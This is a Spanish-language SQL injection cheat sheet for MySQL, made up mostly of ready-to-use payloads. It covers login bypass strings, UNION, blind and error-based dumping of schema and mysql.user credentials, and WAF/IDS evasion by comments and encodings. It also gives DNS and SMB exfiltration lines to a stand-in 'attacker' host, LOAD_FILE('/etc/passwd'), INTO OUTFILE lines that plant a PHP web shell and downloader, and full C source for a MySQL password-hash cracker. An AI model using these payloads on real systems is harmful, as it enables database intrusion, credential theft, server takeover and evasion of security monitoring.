Inyección SQL

MySQL

rortegag

Base de datos por defecto

mysql	Requiere privilegios de root
information_schema	Disponible a partir de la versión 5

Comentarios en las consultas

Se puede utilizar lo siguiente para comentar el resto de la consulta después de su inyección.

-> Comentario almohadilla
/* -> Comentario estilo C
-- - -> Comentario SQL
;%00 -> Nullbyte
` -> Contrapunto

Ejemplos:

```
SELECT * FROM usuarios WHERE usuario = '' OR 1=1 -- -'
AND contrasenna = '';
SELECT * FROM usuarios WHERE id = '' UNION SELECT 1, 2, 3`';
```

Observación:

El signo de contrapunto sólo puede utilizarse para finalizar una consulta cuando se utiliza como alias.

Prueba de versión

Variables

```
VERSION()
@@VERSION
@@GLOBAL.VERSION
```

Ejemplo:

```
SELECT * FROM Users WHERE id = '1' AND
MID(VERSION(),1,1) = '5';
```

Observación:

La salida contendrá -nt-log en caso de que el SGBD se ejecute en una máquina basada en Windows.

Código específico

```
/*código específico*/
```

Ejemplo:

Dada la consulta

```
SELECT * FROM usaurios limit 1, {punto de inyección};
1 /*!50094eaea*/;
Falso - la versión es igual o superior a la 5.00.94
1 /*!50096eaea*/;
Verdadero - la versión es inferior a 5.00.96
1 /*!50095eaea*/;
Falso - la versión es igual a 5.00.95
```

Observación:

Puede ser útil para determinar la versión en situaciones en las que no se puede añadir más SQL a la consulta debido a la posición de la inyección.

Credenciales de la base de datos

Tabla	mysql.user
Campos	user, password
Usuario actual	user(), current_user(), current_user, system_user(), session_user()

Ejemplos:

```
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user
WHERE user = 'root';      (Favorito)
```

Inyección de pruebas

Falso significa que la consulta no es válida (errores de MySQL/no hay contenido en el sitio web).
Verdadero significa que la consulta es válida (el contenido se muestra como siempre).

Cadenas de texto

Dada la consulta:

```
SELECT * FROM tabla WHERE id = '1';
' -> Falso                    '' -> Verdadero
" -> Falso                    "" -> Verdadero
\ -> Falso                    \\ -> Verdadero
```

Ejemplos:

```
SELECT * FROM articulos WHERE id = '1''';
SELECT 1 FROM dual
WHERE 1 = '1''''''''''UNION SELECT '2';
```

Observaciones:

Se pueden utilizar tantos apóstrofes y comillas como se quiera siempre que se emparejen.
También es posible continuar el enunciado después de la cadena de comillas.
Las comillas escapan de las comillas.

Numérico

Dada la consulta:

```
SELECT * FROM tabla WHERE id = 1;
AND 1 -> Verdadero            AND 0 -> Falso
AND true  -> Verdadero        AND false -> Falso
1-false -> Devuelve 1 si es vulnerable
1-true -> Devuelve 0 si es vulnerable
1*56 -> Devuelve 56 si es vulnerable
1*56 -> Devuelve 1 si no es vulnerable
```

Ejemplo:

```
SELECT * FROM usuarios WHERE id = 3-2;
```

Observaciones:

Verdadero es igual a 1. Falso es igual a 0.

En un inicio de sesión

Dada la consulta:

```
 SELECT * FROM tabla WHERE usuario = '';
' OR '1                       ' OR 1 -- -
" OR "" = "                   " OR 1 = 1 -- -
'='                           'LIKE'
'=0--+
```

Ejemplo:

```
SELECT * FROM usuarios WHERE usuario = 'Mike'
AND contrasenna = '' OR '' = '';
```

Nombres de bases de datos

Tablas	information_schema.schemata, mysql.db
Campos	schema_name, db
BD actual	database(), schema()

Ejemplos:

```
SELECT database();
SELECT schema_name
FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;    (Favorito)
```

Inyección SQL

MySQL

rortegag

Nombre del servidor

@@HOSTNAME
Ejemplo:
SELECT @@hostname;

Evitando el uso de comillas

SELECT * FROM usuarios
WHERE usuario = 0x61646D696E
Codificación hexadecimal.

SELECT * FROM usuarios
WHERE usuario =
CHAR(97, 100, 109, 105, 110)
Función CHAR().

Declaraciones condicionales

CASE IF()
IFNULL() NULLIF()
Ejemplos:
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true
ELSE false END;

Temporización

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5
Ejemplo:
' - (IF(MID(version(),1,1) LIKE 5,
BENCHMARK(100000,
SHA1('true')), false)) - '

Canalización fuera de banda

Solicitudes de DNS

SELECT LOAD_FILE(
CONCAT('\\\\foo.',(SELECT
MID(version(),1,1)),'
.attacker.com\\\'));

Solicitudes SMB

'OR 1=1 INTO OUTFILE '\\\\attacker\
SMBshare\\\put.txt

Constantes

current_user
null, \N
true, false

Dirección MAC del servidor

El Identificador Único Universal es un número de 128 bits donde los últimos 12 dígitos se forman a partir de la dirección MAC de las interfaces.
UUID()
Salida:
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
Observación:
Puede devolver una cadena aleatoria de 48 bits en lugar de la dirección MAC en algunos sistemas operativos.

Concatenación de cadenas de texto

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
Observaciones:
CONCAT() devolverá NULL si alguno de sus argumentos es NULL. En su lugar, utilice CONCAT_WS().
El primer argumento de CONCAT_WS() define el separador para el resto de sus argumentos.

Privilegios

Privilegios de archivos

Las siguientes consultas pueden ayudar a determinar los privilegios de FILE para un usuario determinado.
SELECT file_priv FROM mysql.user WHERE user = 'usuario';
Se requieren privilegios de root MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges
WHERE privilege_type = 'file' AND grantee LIKE '%usuario%';
No se requieren privilegios MySQL 5

Lectura de archivos

Los archivos pueden ser leídos si el usuario tiene privilegios de FILE
LOAD_FILE()
Ejemplos:
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
Observaciones:
El archivo debe estar ubicado en el servidor.
El directorio base para LOAD_FILE() es @@datadir.
El archivo debe ser legible por el usuario de MySQL.
El tamaño del archivo debe ser inferior a max_allowed_packet.
El tamaño por defecto de @@max_allowed_packet es de 1047552 bytes.

Código específico de MySQL

MySQL permite especificar el número de versión después del signo de exclamación.
Ejemplos:
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,
null-- x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
Notas:
El primer ejemplo devuelve la versión; utiliza un UNION con 2 columnas.
El segundo ejemplo puede ser útil para eludir un WAF/IDS.

Inyección SQL

MySQL

rortegag

Consultas apiladas

Las consultas apiladas son posibles con MySQL dependiendo del controlador esté siendo utilizado por la aplicación PHP para comunicarse con la base de datos.
El controlador PDO_MYSQL soporta consultas apiladas. El controlador MySQLi (extensión mejorada) también soporta consultas apiladas a través de la función multi_query().
Ejemplos:

```
SELECT * FROM usuarios WHERE ID=1 AND 1=0;
INSERT INTO usuarios(usuario, contrasenna, priv)
VALUES ('Aitor Menta', 'kl20da$$','admin');

SELECT * FROM usuarios WHERE ID=1 AND 1=0;
SHOW COLUMNS FROM usuarios;
```

Fuzzing y ofuscación

Carácteres intermedios permitidos

Los siguientes caracteres pueden utilizarse como espacios en blanco.

09	Tabulación horizontal
0A	Nueva línea
0B	Tabulación vertical
0C	Nueva página
0D	Retorno de carro
A0	Espacio de no ruptura
20	Espacio

Ejemplo:

```
'%0A%09UNION%0CSELECT%A0NULL%20%23
```

También se pueden utilizar paréntesis para evitar el uso de espacios.

28	(
29	)

Ejemplo:

```
UNION(SELECT(campo)FROM(tabla))
```

Carácteres intermedios permitidos después de AND/OR

20	Espacios
2B	+
2D	-
7E	~
21	!
40	@

Ejemplo:

```
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-~~((1))
```

Observación:
dual es una tabla ficticia que puede utilizarse para realizar pruebas.

MÁS

Escritura de archivos

Se pueden crear archivos si el usuario tiene privilegios de FILE.

```
INTO OUTFILE/DUMPFILE
```

Ejemplos:
Para escribir un shell de PHP:

```
SELECT '<? system($_GET[\'c\']); ?>' INTO
OUTFILE '/var/www/shell.php';
```

y luego acceder a él en:

```
http://localhost/shell.php?c=cat%20/etc/passwd
```

Para escribir un descargador:

```
SELECT '<? fwrite(fopen($_GET[f], \'w\'),
file_get_contents($_GET[u])); ?>' INTO
OUTFILE '/var/www/get.php';
```

y luego acceder a él en:

```
http://localhost/get.php?f=shell.php&u=
http://localhost/c99.txt
```

Observaciones:
Los archivos no se pueden sobrescribir con INTO OUTFILE.
INTO OUTFILE debe ser la última sentencia de la consulta.
No hay forma de codificar el nombre de la ruta, por lo que se requieren comillas.

Ofuscación con comentarios

Los comentarios se pueden utilizar para dividir la consulta para engañar al WAF/IDS y evitar la detección.
Usando # o -- seguido de una nueva línea, podemos dividir la consulta en líneas separadas.
Ejemplo:

```
1'#
AND 0--
UNION# Soy un comentario!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
```

URL codificada la inyección se vería así:

```
1'%23%0AAND 0--%0AUNION%23 ¡Soy un comentario!
%0ASELECT@tmp:=nombre_tabla x FROM--%0A
`information_schema`.tables LIMIT 1%23
```

Algunas funciones también pueden ofuscarse con comentarios y espacios en blanco.

```
VERSION/**/%A0 (/*comentario*/)
```

Codificaciones

La codificación de su inyección a veces puede ser útil para la evasión de WAF/IDS.

```
Codificación de URL
SELECT %74able_%6eame
FROM information_schema.tables;
Codificación URL doble
SELECT %2574able_%256eame
FROM information_schema.tables;
Codificación Unicode
SELECT %u0074able_%u6eame
FROM information_schema.tables;
Codificación hexadecimal inválida (ASP)
SELECT %tab%le_%na%me
FROM information_schema.tables;
```

INYECCIÓN SQL

Fuzzing y ofuscación

Evitar las palabras clave

Si un IDS/WAF ha bloqueado ciertas palabras clave, hay otras formas de evitarlo sin usar codificaciones.

information_schema.tables

Espacios	information_schema . tables
Marcas posteriores	`information_schema`.`tables`
Código específico	/*!information_schema.tables*/
Nombres alternativos	information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints

Observaciones:
Los nombres alternativos pueden depender de la presencia de una clave PRIMARIA en la tabla.

Descifrado de contraseñas

Tanto Cain & Abel como John the Ripper son capaces de descifrar contraseñas de MySQL 3.x-6.x
Esta herramienta es un descifrador de contraseñas por fuerza bruta de alta velocidad para contraseñas con hash de MySQL < 4.1. Puede romper una contraseña de 8 caracteres que contenga cualquier carácter ASCII imprimible en cuestión de horas en un PC normal.

```
/* Ejemplo:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Intentando longitud 3
* Probando longitud 4
* Pase encontrado: barf
*
* La función de hash de la contraseña de MySQL podría reforzarse considerablemente por:
* - haciendo dos pasadas sobre la contraseña
* - utilizando un giro a nivel de bits en lugar de un desplazamiento a la izquierda
* - causando más desbordamientos aritméticos
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
 int i, c;
 u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
 u32 newstate1, newstate2, newstate3;
 u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
 u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
 i = -1;
 sum = 7;
 state1_ary[0] = 1345345333L;
 state2_ary[0] = 0x12345671L;

 while (1) {
  while (i < stop) {
   i++;
   pass_ary[i] = MIN_CHAR;
   step_ary[i] = (state1_ary[i] & 0x3f) + sum;
   xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
   sum += MIN_CHAR;
   state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
   state2_ary[i+1] = state2_ary[i]
    + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  state1 = state1_ary[i+1];
  state2 = state2_ary[i+1];
  step = (state1 & 0x3f) + sum;
  xor1 = step*MIN_CHAR + (state1 << 8);
  xor2 = (state2 << 8) ^ state1;

  for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
   newstate2 = state2 + (xor1 ^ xor2);
   newstate1 = state1 ^ xor1;
   newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
   div = (newstate1 & 0x3f) + sum + c;
   diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
   if (diff % div != 0) continue;
   d = diff / div;
   if (d < MIN_CHAR || d > MAX_CHAR) continue;

   div = (newstate3 & 0x3f) + sum + c + d;
   diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
   if (diff % div != 0) continue;
   e = diff / div;
   if (e < MIN_CHAR || e > MAX_CHAR) continue;

   pass_ary[i+1] = c;
   pass_ary[i+2] = d;
   pass_ary[i+3] = e;
   return 1;
  }

 while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
     sum -= MAX_CHAR;
     i--;
   }
   if (i < 0) break;
   pass_ary[i]++;
   xor_ary[i] += step_ary[i];
   sum++;
   state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
   state2_ary[i+1] = state2_ary[i]
    + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
 }

 return 0;
}

void crack(char *hash)
{
 int i, len;
 u32 targ1, targ2, targ3;
 int pass[MAX_LEN];

 if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
  printf("Invalid password hash: %s\n", hash);
  return;
 }
 printf("Hash: %08lx%08lx\n", targ1, targ2);
 targ3 = targ2 - targ1;
 targ3 = targ2 - ((targ3 << 8) ^ targ1);
 targ3 = targ2 - ((targ3 << 8) ^ targ1);
 targ3 = targ2 - ((targ3 << 8) ^ targ1);

 for (len = 3; len <= MAX_LEN; len++) {
  printf("Trying length %d\n", len);
  if ( crack0(len-4, targ1, targ3, pass) ) {
   printf("Found pass: ");
   for (i = 0; i < len; i++)
    putchar(pass[i]);
   putchar('\n');
   break;
  }
 }
 if (len > MAX_LEN)
  printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
 int i;
 if (argc <= 1)
  printf("usage: %s hash\n", argv[0]);
 for (i = 1; i < argc; i++)
  crack(argv[i]);
 return 0;
}
```

INYECCIÓN SQL

MySQL

rortegag

Tablas y columnas

Determinación del número de columnas

Order/Group By

GROUP/ORDER BY n+1;

Observaciones:

Siga incrementando el número hasta que obtenga una respuesta falsa.

Aunque GROUP BY y ORDER BY tienen una funcionalidad diferente en SQL, ambos pueden ser utilizados de la misma manera para determinar el número de columnas en la consulta.

Ejemplo:

Dada la consulta:

SELECT usuario, contrasenna, permisos FROM usuarios WHERE id = '{INJECTION POINT}';

1' ORDER BY 1--+	Verdadero
1' ORDER BY 2--+	Verdadero
1' ORDER BY 3--+	Verdadero
1' ORDER BY 4--+	Falso - La consulta solo utiliza 3 columnas
-1' UNION SELECT 1,2,3--+	Verdadero

Basado en el error

GROUP/ORDER BY 1,2,3,4,5...

Observación:

Al igual que en el método anterior, podemos comprobar el número de columnas con 1 solicitud si se activa la visualización de errores.

Ejemplos:

Dada la consulta:

SELECT usuario, contrasenna, permisos FROM usuarios WHERE id = '{INJECTION POINT}'

1' GROUP BY 1,2,3,4,5--+	Columna desconocida '4' en 'declaración de grupo'
1' ORDER BY 1,2,3,4,5--+	Columna desconocida '4' en 'cláusula de orden'

Basado en el error 2

SELECT ... INTO var_list, var_list1, var_list2...

Observaciones:

Este método funciona si está activada la visualización de errores.

Es útil para encontrar el número de columnas cuando el punto de inyección está después de una cláusula LIMIT.

Ejemplo:

Dada la consulta:

SELECT permisos FROM usuarios WHERE id = '{INJECTION POINT}'

-1 UNION SELECT 1 INTO @,@,@	Las sentencias SELECT utilizadas tienen un número diferente de columnas
-1 UNION SELECT 1 INTO @,@	Las sentencias SELECT utilizadas tienen un número diferente de columnas
-1 UNION SELECT 1 INTO @	Ningún error significa que la consulta utiliza 1 columna

Ejemplo 2:

Dada la consulta:

SELECT usuario, permisos FROM usuarios limit 1,{INJECTION POINT};

1 INTO @,@,@	Las sentencias SELECT utilizadas tienen un número diferente de columnas
1 INTO @,@	Ningún error significa que la consulta utiliza 2 columnas

Basado en el error 3

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

Observaciones:

Esto funciona si se conoce el nombre de la tabla que se busca y se activa la visualización de errores.

Devolverá la cantidad de columnas de la tabla, no la consulta.

Ejemplo:

Dada la consulta:

SELECT permisos FROM usuarios WHERE id = {INJECTION POINT};

1 AND (SELECT * FROM Users) = 1	El operando debe contener 3 columnas

MÁS

↓

INYECCIÓN SQL

MySQL

rortegag

Tablas y columnas

Recuperación de tablas

Union

```
UNION SELECT GROUP_CONCAT(nombre_tabla) FROM information_schema.tables WHERE version=10;
```

Blind

```
AND SELECT SUBSTR(nombre_tabla,1,1) FROM information_schema.tables > 'A'
```

Error

```
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY
CONCAT((SELECT nombre_tabla FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT nombre_tabla FROM information_schema.tables LIMIT 1),!@)
HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT nombre_tabla FROM information_schema.tables LIMIT 1)));
```

Disponible en la versión 5.1.5

Observación:

version=10 -> MySQL 5

Recuperación de campos

Union

```
UNION SELECT GROUP_CONCAT(nombre_campo) FROM information_schema.columns
WHERE nombre_tabla = 'nombretabla'
```

Blind

```
AND SELECT SUBSTR(nombre_campo,1,1) FROM information_schema.columns > 'A'
```

Error

```
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY
CONCAT((SELECT nombre_campo FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))(@:=1)||@
GROUP BY CONCAT((SELECT nombre_campo FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT nombre_campo FROM information_schema.columns LIMIT 1)));
```

Disponible en la versión MySQL 5.1.5

```
AND (1,2,3) = (SELECT * FROM alguna_tabla_existente UNION SELECT 1,2,3 LIMIT 1)
```

Arreglado en la versión MySQL 5.1

```
AND (SELECT * FROM (SELECT * FROM alguna_tabla_existente JOIN alguna_tabla_existente b) a)
AND (SELECT * FROM (SELECT * FROM alguna_tabla_existente JOIN alguna_tabla_existente b
USING (algun_campo_existente)) a)
```

Recuperar varias tablas/columnas a la vez

```
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (esquema_tabla>=@)
AND (@)IN (@:=CONCAT(@,0x0a,' [ ',esquema_tabla,' ] >',nombre_tabla,' > ',nombre_campo))))x
```

Ejemplo:

```
SELECT * FROM usuarios WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),
(SELECT (@) FROM (information_schema.columns) WHERE (esquema_tabla>=@) AND (@) IN
(@:=CONCAT(@,0x0a,' [ ',esquema_tabla,' ] >',nombre_tabla,' > ',nombre_tabla))))x), 4--+';
```

Salida:

```
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
```

MÁS

```
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20,
nombre_campo ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024)
FROM information_schema.columns
```

Ejemplo:

```
SELECT usuario FROM usuarios WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20,
nombre_tabla, 0x3c62723e, 0x436f6c756d6e3a20, nombre_campo ORDER BY (SELECT version
FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
```

Salida:

```
Table: talk_revisions          Table: talk_revisions          Table: talk_revisions          Table: talk_projects
Column: revid                  Column: userid                 Column: user                   Column: priority
```

Inyección SQL

MySQL

rortegag

Tablas y columnas

Buscar tablas a partir del nombre de la columna

SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
Busca los nombres de las tablas para cualquier columna con nombre de usuario.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
Busca los nombres de tabla para cualquier columna que contenga la palabra usuario.

Buscar columnas a partir del nombre de la tabla

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';
Busca las columnas de la tabla usuarios.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';
Busca los nombres de las columnas de cualquier tabla que contenga la palabra user.

Averiguar la consulta actual

SELECT info FROM information_schema.processlist;
Disponible a partir de MySQL 5.1.7

Operadores

AND, &&	Lógico AND.
=	Asignar un valor (como parte de una sentencia SET, o como parte de la cláusula SET en una sentencia UPDATE).
:=	Asignar un valor.
BETWEEN ... AND ...	Comprobar si un valor está dentro de un rango de valores.
BINARY	Convierte una cadena en una cadena binaria.
&	AND a nivel de bits.
~	Invertir bits.
|	OR a nivel de bits.
^	XOR a nivel de bits.
CASE	Operador de CASE.
DIV	División de números enteros.
/	Operador de división.
<=>	Operador de igualdad a prueba de nulos.
=	Operador igual.
>=	Operador mayor o igual que.
>	Operador mayor que.
IS NOT NULL	Prueba de valor NOT NULL.
IS NOT	Comprobar un valor con un booleano.
IS NULL	Prueba de valor nulo.
IS	Comprobar un valor con un booleano.
<<	Turno de la izquierda.
<=	Operador menor o igual que.
<	Operador menor que.
LIKE	Coincidencia de patrones simples.
-	Operador menos.
% or MOD	Operador módulo.
NOT BETWEEN ... AND ...	Comprobar si un valor no está dentro de un rango de valores.
!= , <>	Operador no igual.
NOT LIKE	Negación de la coincidencia de patrones simples.
NOT REGEXP	Negación de coincidencia de patrones mediante expresiones regulares
NOT , !	Negar el valor..
|| , OR	Lógico OR.
+	Operador de suma.
REGEXP	Coincidencia de patrones mediante expresiones regulares.
>>	Turno de la derecha.
RLIKE	Sinónimo de REGEXP.
SOUNDS LIKE	Comparación de sonidos.
*	Operador de multiplicación.
-	Cambiar el signo del argumento.
XOR	Lógico XOR.